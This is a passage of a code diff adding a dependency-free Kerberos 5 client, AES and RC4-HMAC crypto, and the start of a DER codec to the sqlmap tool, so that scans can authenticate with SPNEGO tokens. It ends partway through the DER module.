+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+# Dependency-free Kerberos 5 client (RFC 4120) built on the in-tree DER codec and RFC 3961/3962
+# crypto. Implements the AS exchange (password -> TGT) with PA-ENC-TIMESTAMP pre-authentication;
+# the TGS exchange and AP-REQ follow. Talks to the KDC over TCP (4-byte length framing).
+# Python 2.7 / 3.x.
+
+import calendar
+import os
+import socket
+import struct
+import threading
+import time
+
+from extra.kerberos import der
+from extra.kerberos import spnego
+from extra.kerberos.crypto import ENCTYPES
+
+GSS_CHECKSUM_TYPE = 0x8003                                  # RFC 4121 section 4.1.1 authenticator checksum
+GSS_CHECKSUM_FLAGS = 0                                      # no GSS context flags requested (no mutual/deleg)
+TICKET_LIFETIME_SECONDS = 10 * 3600                        # requested 'till' offset (KDC clamps to its max)
+
+# message types
+AS_REQ, AS_REP, TGS_REQ, TGS_REP, AP_REQ, KRB_ERROR = 10, 11, 12, 13, 14, 30
+
+# principal name types
+NT_PRINCIPAL, NT_SRV_INST = 1, 2
+
+# PA-DATA types
+PA_TGS_REQ, PA_ENC_TIMESTAMP, PA_ETYPE_INFO2 = 1, 2, 19
+
+# KDC error code that carries the PA-ETYPE-INFO2 hint (etype/salt/iteration count) for pre-auth
+KDC_ERR_PREAUTH_REQUIRED = 25
+
+# key usages (RFC 4120 section 7.5.1)
+USAGE_AS_REQ_PA_ENC_TIMESTAMP = 1
+USAGE_AS_REP_ENCPART = 3
+USAGE_TGS_REQ_AUTH_CKSUM = 6
+USAGE_TGS_REQ_AUTH = 7
+USAGE_TGS_REP_ENCPART = 8
+USAGE_AP_REQ_AUTH = 11
+
+PVNO = 5
+DEFAULT_ETYPES = (18, 17, 23)                               # aes256-cts, aes128-cts, rc4-hmac (best first)
+KDC_TIMEOUT = 10                                            # seconds for the KDC TCP exchange
+MAX_KDC_RESPONSE = 8 * 1024 * 1024                          # cap on a KDC reply (guards a hostile length prefix)
+KERBEROS_TIME_FORMAT = "%Y%m%d%H%M%SZ"                      # RFC 4120 KerberosTime (always UTC)
+
+# Bounds on the string-to-key work factor a KDC may ask for. The PA-ETYPE-INFO2 hint carrying it
+# arrives on an *unauthenticated* KRB-ERROR, and the field is a full 32 bits, so an absurd value would
+# either weaken the derived key against offline guessing or burn hours of CPU (RFC 3962 warns about
+# both and recommends configurable bounds). A count of 0 nominally means 2**32, which we cannot honour.
+MIN_PBKDF2_ITERATIONS = 4096                                # the RFC 3962 default; nothing legitimate is lower
+MAX_PBKDF2_ITERATIONS = 1000000
+
+def _enctype(etype):
+    if etype not in ENCTYPES:
+        raise KerberosError(-1, "unsupported encryption type %d (only AES-CTS-HMAC-SHA1 is implemented)" % etype)
+    return ENCTYPES[etype]
+
+class KerberosError(Exception):
+    def __init__(self, code, text=None):
+        Exception.__init__(self, "KDC error %d%s" % (code, ": %s" % text if text else ""))
+        self.code = code
+
+# ---- EXPLICIT-tag unwrap helpers ------------------------------------------------------------------
+# Kerberos uses EXPLICIT tagging: an [n] field's content is a complete inner TLV, so it must be
+# peeled before the value can be read. _fields() maps a SEQUENCE's [n] children to that inner TLV.
+def _fields(sequenceContent):
+    out = {}
+    for tag, inner in der.children(sequenceContent):
+        if 0xA0 <= tag <= 0xBE:                             # context-specific, constructed [0]..[30]
+            out[tag - 0xA0] = inner
+    return out
+
+def _expInteger(field):
+    return der.decodeInteger(der.peel(field)[1])
+
+def _expString(field):
+    return der.decodeGeneralString(der.peel(field)[1])
+
+def _expOctet(field):
+    return bytes(der.peel(field)[1])
+
+def _expFields(field):
+    """For an [n] field whose inner TLV is a SEQUENCE, return that SEQUENCE's field map."""
+
+    return _fields(der.peel(field)[1])
+
+# ---- message building -----------------------------------------------------------------------------
+def _nonce():
+    return struct.unpack(">I", os.urandom(4))[0] & 0x7fffffff
+
+def _kerberosTime(offsetSeconds=0):
+    return time.strftime(KERBEROS_TIME_FORMAT, time.gmtime(time.time() + offsetSeconds))
+
+_timestampLock = threading.Lock()
+_lastMicros = -1
+
+def _timestamp():
+    """(KerberosTime, microseconds) taken from a single clock reading and unique within the process.
+
+    An acceptor's replay cache rejects a repeated (ctime, cusec) for the same principal and service,
+    and a threaded scan mints an authenticator per request, so the pair must never repeat; a strictly
+    increasing microsecond counter also keeps cusec inside its INTEGER (0..999999) range by construction.
+    """
+
+    global _lastMicros
+
+    with _timestampLock:
+        micros = max(int(time.time() * 1000000), _lastMicros + 1)
+        _lastMicros = micros
+    return time.strftime(KERBEROS_TIME_FORMAT, time.gmtime(micros // 1000000)), micros % 1000000
+
+def _expTime(field):
+    """An [n]-wrapped KerberosTime as epoch seconds (None when absent or unparsable, so an unusual
+    time format degrades ticket-expiry tracking rather than failing the exchange)."""
+
+    try:
+        return calendar.timegm(time.strptime(der.decodeGeneralString(der.peel(field)[1]), KERBEROS_TIME_FORMAT))
+    except ValueError:
+        return None
+
+def _principalName(nameType, components):
+    return der.sequence(
+        der.tagged(0, der.integer(nameType)),
+        der.tagged(1, der.sequenceOf([der.generalString(_) for _ in components])),
+    )
+
+def _encryptedData(etype, cipher, kvno=None):
+    parts = [der.tagged(0, der.integer(etype))]
+    if kvno is not None:
+        parts.append(der.tagged(1, der.integer(kvno)))
+    parts.append(der.tagged(2, der.octetString(cipher)))
+    return der.sequence(*parts)
+
+# ---- KDC transport (RFC 4120 section 7.2.2: 4-byte length-prefixed over TCP) ----------------------
+def _recvExactly(sock, count):
+    buf = b""
+    while len(buf) < count:
+        chunk = sock.recv(count - len(buf))
+        if not chunk:
+            raise KerberosError(-1, "connection closed by KDC")
+        buf += chunk
+    return buf
+
+def _sendReceive(host, port, request):
+    sock = socket.create_connection((host, port), timeout=KDC_TIMEOUT)
+    try:
+        sock.sendall(struct.pack(">I", len(request)) + request)
+        length = struct.unpack(">I", _recvExactly(sock, 4))[0]
+        if length > MAX_KDC_RESPONSE:
+            raise KerberosError(-1, "KDC reply length %d exceeds the sane maximum" % length)
+        return _recvExactly(sock, length)
+    finally:
+        sock.close()
+
+def _raiseIfError(message):
+    tag, content, _ = der.peel(message)
+    if tag == der.applicationTag(KRB_ERROR):
+        fields = _fields(der.peel(content)[1])
+        raise KerberosError(_expInteger(fields[6]) if 6 in fields else -1,
+                            _expString(fields[11]) if 11 in fields else None)
+    return tag, content
+
+def _etypeHints(methodData):
+    """Parse a METHOD-DATA TLV (SEQUENCE OF PA-DATA) into PA-ETYPE-INFO2 hints as
+    {etype: (salt, iterations)}, telling us which etype/salt/s2kparams the KDC expects for the
+    long-term key. The first entry for an etype wins; a malformed hint yields none (so the caller
+    falls back to its defaults) rather than raising."""
+
+    hints = {}
+    try:
+        for _, paData in der.children(der.peel(methodData)[1]):
+            pa = _fields(paData)
+            if 1 in pa and 2 in pa and _expInteger(pa[1]) == PA_ETYPE_INFO2:
+                info = der.peel(pa[2])[1]                   # padata-value OCTET STRING -> ETYPE-INFO2 (SEQ OF entry)
+                for _, entry in der.children(der.peel(info)[1]):
+                    fields = _fields(entry)
+                    salt = _expOctet(fields[1]) if 1 in fields else None   # opaque octets for string2key (RFC 3961), not UTF-8
+                    iterations = None
+                    if 2 in fields:
+                        raw = bytes(der.peel(fields[2])[1]) # s2kparams: 4-byte BE iteration count for AES
+                        iterations = struct.unpack(">I", raw)[0] if len(raw) == 4 else None
+                    hints.setdefault(_expInteger(fields[0]), (salt, iterations))
+    except (KeyError, IndexError, ValueError, struct.error):
+        hints.clear()                                       # malformed hint -> fall back to the default etype/salt
+    return hints
+
+def _preauthHints(errorFields):
+    """The etype hints carried by a KDC_ERR_PREAUTH_REQUIRED error's e-data (best effort)."""
+
+    if 12 not in errorFields:                              # no e-data
+        return {}
+    try:
+        return _etypeHints(der.peel(errorFields[12])[1])   # e-data OCTET STRING -> METHOD-DATA
+    except (KeyError, IndexError, ValueError, struct.error):
+        return {}
+
+def _validatedIterations(iterations):
+    """Refuse a string-to-key work factor outside local policy. The hint is unauthenticated, so a
+    spoofed count could either cheapen an offline attack on the PA-ENC-TIMESTAMP we are about to send
+    or stall the scan for hours; failing loudly beats doing either silently."""
+
+    if iterations is not None and not MIN_PBKDF2_ITERATIONS <= iterations <= MAX_PBKDF2_ITERATIONS:
+        raise KerberosError(-1, "KDC advertised an out-of-policy string-to-key iteration count (%d)" % iterations)
+    return iterations
+
+def _hintFor(hints, etype, salt, chosenSalt):
+    """Apply the hint for 'etype': its salt (unless the caller pinned one) and its work factor."""
+
+    advertisedSalt, iterations = hints.get(etype, (None, None))
+    if salt is None and advertisedSalt is not None:
+        chosenSalt = advertisedSalt
+    return chosenSalt, _validatedIterations(iterations)
+
+def _replyEtype(response):
+    """Return the etype of a KDC-REP's enc-part (which etype the KDC used for the client's key)."""
+
+    try:
+        rep = _fields(der.peel(der.peel(response)[1])[1])
+        return _expInteger(_expFields(rep[6])[0])
+    except (KeyError, IndexError, ValueError, struct.error):
+        raise KerberosError(-1, "malformed KDC reply")
+
+def _parseRep(response, key, usage, expectedNonce, expectedType):
+    """Parse an AS-REP / TGS-REP: decrypt its enc-part with 'key' under 'usage', returning the
+    opaque ticket and the freshly issued session key. The two replies are structurally identical.
+    The reply's application tag MUST match the expected message type, and the nonce carried in the
+    (integrity-protected) enc-part MUST equal the request nonce (RFC 4120)."""
+
+    try:                                                   # any structural defect in a hostile/truncated reply -> KerberosError
+        tag, repContent = _raiseIfError(response)
+        if tag != der.applicationTag(expectedType):
+            raise KerberosError(-1, "unexpected reply message type (tag 0x%02x)" % tag)
+        rep = _fields(der.peel(repContent)[1])
+        encData = _expFields(rep[6])                        # enc-part (EncryptedData)
+        repEtype = _expInteger(encData[0])
+        try:
+            encRepPart = _enctype(repEtype).decrypt(key, usage, _expOctet(encData[2]))
+        except ValueError:                                 # HMAC mismatch -> we hold the wrong long-term key
+            raise KerberosError(-1, "reply decryption failed (wrong password or salt)")
+
+        # Enc*RepPart = [APPLICATION 25/26] EncKDCRepPart ; key is field [0], nonce is field [2]
+        encKdcRep = _fields(der.peel(der.peel(encRepPart)[1])[1])
+        if _expInteger(encKdcRep[2]) != expectedNonce:
+            raise KerberosError(-1, "reply nonce does not match the request (possible replay)")
+        keyFields = _expFields(encKdcRep[0])
+
+        return {
+            "ticket": bytes(rep[5]),
+            "sessionKey": _expOctet(keyFields[1]),
+            "sessionKeyType": _expInteger(keyFields[0]),
+            "etype": repEtype,
+            "crealm": _expString(rep[3]),
+            # EncKDCRepPart endtime [7]; a scan can outlive the ticket, so the caller can re-fetch
+            "endtime": _expTime(encKdcRep[7]) if 7 in encKdcRep else None,
+        }
+    except (KeyError, IndexError, ValueError, struct.error):
+        raise KerberosError(-1, "malformed KDC reply")
+
+def _reqBody(realm, snameType, snameComponents, etypes, nonce, cnameComponents=None):
+    parts = [der.tagged(0, der.bitString(b"\x00\x00\x00\x00"))]                      # kdc-options
+    if cnameComponents is not None:
+        parts.append(der.tagged(1, _principalName(NT_PRINCIPAL, cnameComponents)))  # cname (AS only)
+    parts.append(der.tagged(2, der.generalString(realm)))                           # realm
+    parts.append(der.tagged(3, _principalName(snameType, snameComponents)))         # sname
+    parts.append(der.tagged(5, der.generalizedTime(_kerberosTime(offsetSeconds=TICKET_LIFETIME_SECONDS))))  # till
+    parts.append(der.tagged(7, der.integer(nonce)))                                 # nonce
+    parts.append(der.tagged(8, der.sequenceOf([der.integer(_) for _ in etypes])))   # etype
+    return der.sequence(*parts)
+
+def _authenticator(crealm, cnameComponents, cksum=None, seqNumber=None):
+    ctime, cusec = _timestamp()                             # both from one clock reading, never repeating
+    parts = [
+        der.tagged(0, der.integer(PVNO)),
+        der.tagged(1, der.generalString(crealm)),
+        der.tagged(2, _principalName(NT_PRINCIPAL, cnameComponents)),
+    ]
+    if cksum is not None:
+        parts.append(der.tagged(3, der.sequence(der.tagged(0, der.integer(cksum[0])),
+                                                 der.tagged(1, der.octetString(cksum[1])))))
+    parts.append(der.tagged(4, der.integer(cusec)))
+    parts.append(der.tagged(5, der.generalizedTime(ctime)))
+    if seqNumber is not None:                               # [7] seq-number, expected of a GSS AP-REQ
+        parts.append(der.tagged(7, der.integer(seqNumber)))
+    return der.application(2, der.sequence(*parts))
+
+def _apReq(ticket, encAuthenticator, etype, apOptions=b"\x00\x00\x00\x00"):
+    return der.application(AP_REQ, der.sequence(
+        der.tagged(0, der.integer(PVNO)),
+        der.tagged(1, der.integer(AP_REQ)),
+        der.tagged(2, der.bitString(apOptions)),
+        der.tagged(3, ticket),                              # raw Ticket TLV (already [APPLICATION 1])
+        der.tagged(4, _encryptedData(etype, encAuthenticator)),
+    ))
+
+# ---- AS exchange (password -> TGT) ----------------------------------------------------------------
+def _asReq(realm, username, etypes, nonce, padata=None):
+    reqBody = _reqBody(realm, NT_SRV_INST, ["krbtgt", realm], etypes, nonce, cnameComponents=[username])
+    parts = [der.tagged(1, der.integer(PVNO)), der.tagged(2, der.integer(AS_REQ))]
+    if padata is not None:
+        parts.append(der.tagged(3, der.sequenceOf([padata])))
+    parts.append(der.tagged(4, reqBody))
+    return der.application(AS_REQ, der.sequence(*parts))
+
+def _selectEtype(etypes, hints):
+    """
+    The etype getTGT commits to after a preauth-required hint: OUR first offered etype that is also
+    KDC-hinted and supported, falling back to our top preference. The unauthenticated hint can only
+    reorder WITHIN what we offered - it can never pull us onto an etype we did not offer (anti-downgrade).
+    """
+
+    return next((_ for _ in etypes if _ in hints and _ in ENCTYPES), etypes[0])
+
+def getTGT(realm, username, password, kdcHost, kdcPort=88, etypes=DEFAULT_ETYPES, salt=None):
+    """Run the AS exchange and return the TGT and its session key.
+
+    Follows the standard two-step flow: an initial request without pre-auth learns the KDC's expected
+    etype/salt/iteration-count from PA-ETYPE-INFO2 (so non-default salts and AES-128-only principals
+    work), then a PA-ENC-TIMESTAMP-authenticated request obtains the ticket. Returns
+    {'ticket': <raw Ticket TLV>, 'sessionKey': bytes, 'sessionKeyType': int, 'crealm': str,
+    'endtime': epoch seconds}. 'realm' is used exactly as given (RFC 4120 realms are case-sensitive).
+    """
+
+    chosenSalt = salt if salt is not None else realm + username
+
+    # 1) probe without pre-auth to discover the etype/salt/iterations (or get the TGT outright)
+    nonce = _nonce()
+    response = _sendReceive(kdcHost, kdcPort, _asReq(realm, username, etypes, nonce))
+    tag = der.peel(response)[0]
+
+    if tag == der.applicationTag(AS_REP):                  # KDC issued the ticket without pre-auth
+        etype = _replyEtype(response)                      # derive the key for the etype the KDC actually used
+        rep = _fields(der.peel(der.peel(response)[1])[1])
+        # the reply's own padata can still carry the salt/iterations of a non-default principal
+        chosenSalt, iterations = _hintFor(_etypeHints(rep[2]) if 2 in rep else {}, etype, salt, chosenSalt)
+        clientKey = _enctype(etype).string2key(password, chosenSalt, iterations)
+        return _parseRep(response, clientKey, USAGE_AS_REP_ENCPART, nonce, AS_REP)
+
+    etype, iterations = etypes[0], None
+    if tag == der.applicationTag(KRB_ERROR):
+        errorFields = _fields(der.peel(der.peel(response)[1])[1])
+        code = _expInteger(errorFields[6]) if 6 in errorFields else -1
+        if code != KDC_ERR_PREAUTH_REQUIRED:
+            raise KerberosError(code, _expString(errorFields[11]) if 11 in errorFields else None)
+        # the hint is unauthenticated, so it may only choose among the etypes we actually offered, and
+        # in *our* order of preference rather than the KDC's (otherwise it could force a downgrade)
+        hints = _preauthHints(errorFields)
+        etype = _selectEtype(etypes, hints)
+        chosenSalt, iterations = _hintFor(hints, etype, salt, chosenSalt)
+
+    enc = _enctype(etype)
+    clientKey = enc.string2key(password, chosenSalt, iterations)
+
+    # 2) authenticated request with PA-ENC-TIMESTAMP under the discovered etype/salt
+    patime, pausec = _timestamp()
+    paTsEnc = der.sequence(der.tagged(0, der.generalizedTime(patime)), der.tagged(1, der.integer(pausec)))
+    cipher = enc.encrypt(clientKey, USAGE_AS_REQ_PA_ENC_TIMESTAMP, paTsEnc)
+    paData = der.sequence(
+        der.tagged(1, der.integer(PA_ENC_TIMESTAMP)),
+        der.tagged(2, der.octetString(_encryptedData(etype, cipher))),
+    )
+    nonce = _nonce()
+    response = _sendReceive(kdcHost, kdcPort, _asReq(realm, username, etypes, nonce, padata=paData))
+    return _parseRep(response, clientKey, USAGE_AS_REP_ENCPART, nonce, AS_REP)
+
+# ---- TGS exchange (TGT -> service ticket) ---------------------------------------------------------
+def getServiceTicket(tgt, realm, username, serviceComponents, kdcHost, kdcPort=88, etypes=DEFAULT_ETYPES):
+    """Present the TGT in a PA-TGS-REQ AP-REQ to obtain a ticket for the named service.
+
+    Returns the same shape as getTGT (the 'ticket' is now the service ticket). Cross-realm referrals
+    are not followed, so 'serviceComponents' must name a service inside 'realm'.
+    """
+
+    enc = _enctype(tgt["sessionKeyType"])
+    nonce = _nonce()
+    reqBody = _reqBody(realm, NT_SRV_INST, serviceComponents, etypes, nonce)
+
+    cksum = (enc.cksumtype, enc.checksum(tgt["sessionKey"], USAGE_TGS_REQ_AUTH_CKSUM, reqBody))
+    authenticator = _authenticator(realm, [username], cksum=cksum)
+    encAuth = enc.encrypt(tgt["sessionKey"], USAGE_TGS_REQ_AUTH, authenticator)
+    apReq = _apReq(tgt["ticket"], encAuth, tgt["sessionKeyType"])
+
+    paTgs = der.sequence(der.tagged(1, der.integer(PA_TGS_REQ)), der.tagged(2, der.octetString(apReq)))
+    tgsReq = der.application(TGS_REQ, der.sequence(
+        der.tagged(1, der.integer(PVNO)),
+        der.tagged(2, der.integer(TGS_REQ)),
+        der.tagged(3, der.sequenceOf([paTgs])),
+        der.tagged(4, reqBody),
+    ))
+
+    return _parseRep(_sendReceive(kdcHost, kdcPort, tgsReq), tgt["sessionKey"], USAGE_TGS_REP_ENCPART, nonce, TGS_REP)
+
+# ---- SPNEGO "Negotiate" token (cached service ticket -> ready-to-send HTTP token) -----------------
+def spnegoFromTicket(service, realm, username):
+    """Build a fresh SPNEGO token from an already-obtained service ticket (no KDC round-trip). Each
+    call produces a new AP-REQ authenticator, as replay caches require, so a cached ticket can back
+    every request of a scan cheaply."""
+
+    enc = _enctype(service["sessionKeyType"])
+    gssChecksum = (GSS_CHECKSUM_TYPE, struct.pack("<I", 16) + b"\x00" * 16 + struct.pack("<I", GSS_CHECKSUM_FLAGS))
+    # seq-number is expected of the GSS mechanism's initial AP-REQ (RFC 4121), so always send one
+    authenticator = _authenticator(realm, [username], cksum=gssChecksum, seqNumber=_nonce())
+    encAuth = enc.encrypt(service["sessionKey"], USAGE_AP_REQ_AUTH, authenticator)
+    return spnego.negTokenInit(_apReq(service["ticket"], encAuth, service["sessionKeyType"]))

extra/kerberos/crypto.py

@@ -0,0 +1,263 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+# Dependency-free Kerberos "simplified profile" crypto (RFC 3961) for the AES-CTS-HMAC-SHA1-96 etypes
+# (RFC 3962: aes128-cts-hmac-sha1-96 = etype 17, aes256-cts-hmac-sha1-96 = etype 18), built on the
+# pure-Python AES core. Provides n-fold, DK/DR key derivation, string-to-key (PBKDF2-HMAC-SHA1) and
+# authenticated encrypt/decrypt. Validated against the RFC 3961 A / RFC 3962 B test vectors.
+# Python 2.7 / 3.x.
+
+import binascii
+import hashlib
+import hmac
+import os
+import struct
+
+from extra.kerberos.aes import AES, _xor                   # _xor reused (no second copy) from the AES core
+from lib.core.decorators import cachedmethod
+from lib.request.ntlm import _md4                          # proven RFC 1320 MD4 (reused, not re-derived)
+
+# RFC 3962 string-to-key default work factor when the KDC advertises no explicit count
+DEFAULT_PBKDF2_ITERATIONS = 4096
+
+def _to_bytes(value):
+    return value if isinstance(value, bytes) else value.encode("utf-8")
+
+def _b2i(data):
+    data = bytearray(data)
+    return int(binascii.hexlify(bytes(data)), 16) if data else 0
+
+def _i2b(n, length):
+    if length <= 0:
+        return bytearray()
+    return bytearray(binascii.unhexlify(("%0*x" % (length * 2, n))[-length * 2:]))
+
+def _eq(a, b):
+    return hmac.compare_digest(bytes(a), bytes(b)) if hasattr(hmac, "compare_digest") else (bytes(a) == bytes(b))
+
+def _pbkdf2(password, salt, iterations, dklen):
+    """PBKDF2-HMAC-SHA1. Uses the stdlib primitive when present, with an RFC 2898 fallback for the
+    pre-2.7.8 interpreters that lack hashlib.pbkdf2_hmac."""
+
+    if hasattr(hashlib, "pbkdf2_hmac"):
+        return hashlib.pbkdf2_hmac("sha1", password, salt, iterations, dklen)
+
+    out = bytearray()
+    block = 1
+    while len(out) < dklen:
+        u = hmac.new(password, salt + struct.pack(">I", block), hashlib.sha1).digest()
+        acc = bytearray(u)
+        for _ in range(iterations - 1):
+            u = hmac.new(password, u, hashlib.sha1).digest()
+            acc = bytearray(x ^ y for x, y in zip(acc, bytearray(u)))
+        out += acc
+        block += 1
+    return bytes(out[:dklen])
+
+def _rotate_right(data, nbits):
+    """Rotate a byte string right by 'nbits' bits, preserving its length."""
+
+    data = bytearray(data)
+    if not data:
+        return data
+    total = len(data) * 8
+    nbits %= total
+    value = ((_b2i(data) >> nbits) | (_b2i(data) << (total - nbits))) & ((1 << total) - 1)
+    return _i2b(value, len(data))
+
+def nfold(data, nbytes):
+    """RFC 3961 n-fold: spread 'data' over 'nbytes' bytes via 13-bit rotated copies summed with an
+    end-around carry (ones-complement addition)."""
+
+    data = bytearray(data)
+
+    def gcd(a, b):
+        while b:
+            a, b = b, a % b
+        return a
+
+    lcm = len(data) * nbytes // gcd(len(data), nbytes)
+
+    buf = bytearray()
+    rotation = 0
+    while len(buf) < lcm:
+        buf += _rotate_right(data, rotation)
+        rotation += 13
+
+    bits = 8 * nbytes
+    mask = (1 << bits) - 1
+    acc = sum(_b2i(buf[off:off + nbytes]) for off in range(0, lcm, nbytes))
+    while acc > mask:
+        acc = (acc & mask) + (acc >> bits)
+    return bytes(_i2b(acc, nbytes))
+
+class AESEnctype(object):
+    """AES-CTS-HMAC-SHA1-96 simplified-profile enctype (RFC 3962). keysize 16 => etype 17, 32 => 18."""
+
+    blocksize = 16
+    macsize = 12
+
+    def __init__(self, keysize):
+        self.keysize = keysize
+        self.cksumtype = 16 if keysize == 32 else 15       # hmac-sha1-96-aes256 / -aes128
+
+    def checksum(self, key, usage, data):
+        """Keyed checksum (RFC 3961 get_mic): HMAC-SHA1-96 under the checksum key DK(key, usage|0x99)."""
+
+        kc = self.dk(key, struct.pack(">IB", usage, 0x99))
+        return hmac.new(kc, data, hashlib.sha1).digest()[:self.macsize]
+
+    # --- key schedule -------------------------------------------------------------------------------
+    def _dr(self, key, constant):
+        """RFC 3961 DR: iterate the single-block cipher over the (n-folded) constant to seedsize."""
+
+        aes = AES(key)
+        block = nfold(constant, self.blocksize)
+        out = bytearray()
+        while len(out) < self.keysize:
+            block = aes.encryptBlock(block)                     # single 16-byte block => CBC(iv=0) == ECB
+            out += bytearray(block)
+        return bytes(out[:self.keysize])
+
+    @cachedmethod
+    def dk(self, key, constant):
+        """RFC 3961 DK = random-to-key(DR(...)); random-to-key is the identity for AES.
+
+        Cached: it is a pure function of (key, constant), while a scan mints an authenticator per
+        request from the same handful of long-lived keys, so the pure-Python DR would otherwise be
+        recomputed for every single one."""
+
+        return self._dr(key, constant)
+
+    def string2key(self, password, salt, iterations=None):
+        """RFC 3962 string-to-key: DK(PBKDF2-HMAC-SHA1(password, salt), "kerberos")."""
+
+        iterations = iterations or DEFAULT_PBKDF2_ITERATIONS
+        tkey = _pbkdf2(_to_bytes(password), _to_bytes(salt), iterations, self.keysize)
+        return self.dk(tkey, b"kerberos")
+
+    # --- CBC ciphertext stealing (RFC 3962, CS3: always swap the final two blocks) ------------------
+    def _basicEncrypt(self, key, data):
+        aes = AES(key)
+        padded = data + b"\x00" * ((-len(data)) % self.blocksize)
+        ct = aes.cbcEncrypt(b"\x00" * self.blocksize, padded)
+        if len(data) > self.blocksize:
+            lastlen = len(data) % self.blocksize or self.blocksize
+            ct = ct[:-2 * self.blocksize] + ct[-self.blocksize:] + ct[-2 * self.blocksize:-self.blocksize][:lastlen]
+        return ct
+
+    def _basicDecrypt(self, key, data):
+        aes = AES(key)
+        if len(data) == self.blocksize:
+            return aes.decryptBlock(data)
+
+        blocks = [bytearray(data[p:p + self.blocksize]) for p in range(0, len(data), self.blocksize)]
+        lastlen = len(blocks[-1])
+        prev = bytearray(self.blocksize)
+        out = bytearray()
+        for block in blocks[:-2]:
+            out += bytearray(_xor(aes.decryptBlock(bytes(block)), prev))
+            prev = block
+
+        decrypted = bytearray(aes.decryptBlock(bytes(blocks[-2])))
+        lastPlain = _xor(decrypted[:lastlen], blocks[-1])
+        omitted = decrypted[lastlen:]
+        secondLast = _xor(aes.decryptBlock(bytes(blocks[-1] + omitted)), prev)
+        return bytes(out) + secondLast + lastPlain
+
+    # --- authenticated encryption (RFC 3961 section 5.3) --------------------------------------------
+    def _keys(self, key, usage):
+        ke = self.dk(key, struct.pack(">IB", usage, 0xAA))
+        ki = self.dk(key, struct.pack(">IB", usage, 0x55))
+        return ke, ki
+
+    def encrypt(self, key, usage, plaintext, confounder=None):
+        ke, ki = self._keys(key, usage)
+        if confounder is None:
+            confounder = os.urandom(self.blocksize)
+        basic = confounder + plaintext
+        return self._basicEncrypt(ke, basic) + hmac.new(ki, basic, hashlib.sha1).digest()[:self.macsize]
+
+    def decrypt(self, key, usage, ciphertext):
+        if len(ciphertext) < self.blocksize + self.macsize:   # confounder block + HMAC; guards a hostile short reply
+            raise ValueError("Kerberos ciphertext too short")
+        ke, ki = self._keys(key, usage)
+        ct, mac = ciphertext[:-self.macsize], ciphertext[-self.macsize:]
+        basic = self._basicDecrypt(ke, ct)
+        if not _eq(mac, hmac.new(ki, basic, hashlib.sha1).digest()[:self.macsize]):
+            raise ValueError("Kerberos integrity check failed (wrong key or corrupted ciphertext)")
+        return basic[self.blocksize:]
+
+def _rc4(key, data):
+    """RC4 (ARCFOUR) stream cipher."""
+
+    key, data = bytearray(key), bytearray(data)
+    if not key:
+        raise ValueError("RC4 requires a non-empty key")
+    s = list(range(256))
+    j = 0
+    for i in range(256):
+        j = (j + s[i] + key[i % len(key)]) & 0xff
+        s[i], s[j] = s[j], s[i]
+
+    out = bytearray(len(data))
+    i = j = 0
+    for n in range(len(data)):
+        i = (i + 1) & 0xff
+        j = (j + s[i]) & 0xff
+        s[i], s[j] = s[j], s[i]
+        out[n] = data[n] ^ s[(s[i] + s[j]) & 0xff]
+    return bytes(out)
+
+class RC4Enctype(object):
+    """rc4-hmac (etype 23, RFC 4757). The long-term key is the NT hash MD4(UTF-16LE(password)); the
+    salt and iteration count are unused. Legacy, but still enabled in many AD environments."""
+
+    keysize = 16
+    cksumtype = -138                                       # hmac-md5
+
+    def string2key(self, password, salt=None, iterations=None):
+        # the password is text; encode it UTF-16LE (in py2 a str is bytes, so decode to text first)
+        if isinstance(password, bytes):
+            password = password.decode("utf-8")
+        return _md4(password.encode("utf-16-le"))
+
+    @staticmethod
+    def _usage(usage):
+        # RFC 4757 section 3: a couple of Kerberos usages map to Microsoft-specific values (per the
+        # published errata, usage 9 is NOT folded into 8 - only 3->8 and 23->13 apply)
+        return struct.pack("<I", {3: 8, 23: 13}.get(usage, usage))
+
+    def encrypt(self, key, usage, plaintext, confounder=None):
+        if confounder is None:
+            confounder = os.urandom(8)
+        ki = hmac.new(key, self._usage(usage), hashlib.md5).digest()
+        cksum = hmac.new(ki, confounder + plaintext, hashlib.md5).digest()
+        ke = hmac.new(ki, cksum, hashlib.md5).digest()
+        return cksum + _rc4(ke, confounder + plaintext)
+
+    def decrypt(self, key, usage, ciphertext):
+        if len(ciphertext) < 24:
+            raise ValueError("rc4-hmac ciphertext too short")
+        cksum, data = ciphertext[:16], ciphertext[16:]
+        ki = hmac.new(key, self._usage(usage), hashlib.md5).digest()
+        ke = hmac.new(ki, cksum, hashlib.md5).digest()
+        plaintext = _rc4(ke, data)
+        if not _eq(cksum, hmac.new(ki, plaintext, hashlib.md5).digest()):
+            raise ValueError("Kerberos integrity check failed (wrong key or corrupted ciphertext)")
+        return plaintext[8:]                               # strip the 8-byte confounder
+
+    def checksum(self, key, usage, data):
+        ksign = hmac.new(key, b"signaturekey\x00", hashlib.md5).digest()
+        return hmac.new(ksign, hashlib.md5(self._usage(usage) + bytes(data)).digest(), hashlib.md5).digest()
+
+# etype number -> enctype implementation
+ENCTYPES = {
+    17: AESEnctype(16),
+    18: AESEnctype(32),
+    23: RC4Enctype(),
+}

extra/kerberos/der.py

@@ -0,0 +1,142 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+# Minimal, dependency-free ASN.1 DER codec covering exactly the constructs Kerberos (RFC 4120) uses:
+# INTEGER, OCTET STRING, GeneralString, GeneralizedTime, BIT STRING, SEQUENCE / SEQUENCE OF, EXPLICIT
+# context tags [n] and [APPLICATION n]. All Kerberos tag numbers are <= 30, so only the low-tag-number
+# form is needed. Encoders return bytes; decoders accept bytes/bytearray. Python 2.7 / 3.x.
+
+# universal tag bytes
+INTEGER = 0x02
+BIT_STRING = 0x03
+OCTET_STRING = 0x04
+GENERAL_STRING = 0x1b
+GENERALIZED_TIME = 0x18
+SEQUENCE = 0x30                                             # 0x10 | constructed(0x20)
+
+def _encodeLength(length):
+    if length < 0x80:
+        return bytearray([length])
+    out = bytearray()
+    while length:
+        out.insert(0, length & 0xff)
+        length >>= 8
+    return bytearray([0x80 | len(out)]) + out
+
+def _tlv(tag, value):
+    value = bytearray(value)
+    return bytes(bytearray([tag]) + _encodeLength(len(value)) + value)
+
+# ---- context / application tags (EXPLICIT) --------------------------------------------------------
+def contextTag(number):
+    return 0x80 | 0x20 | number                            # context-specific, constructed
+
+def applicationTag(number):
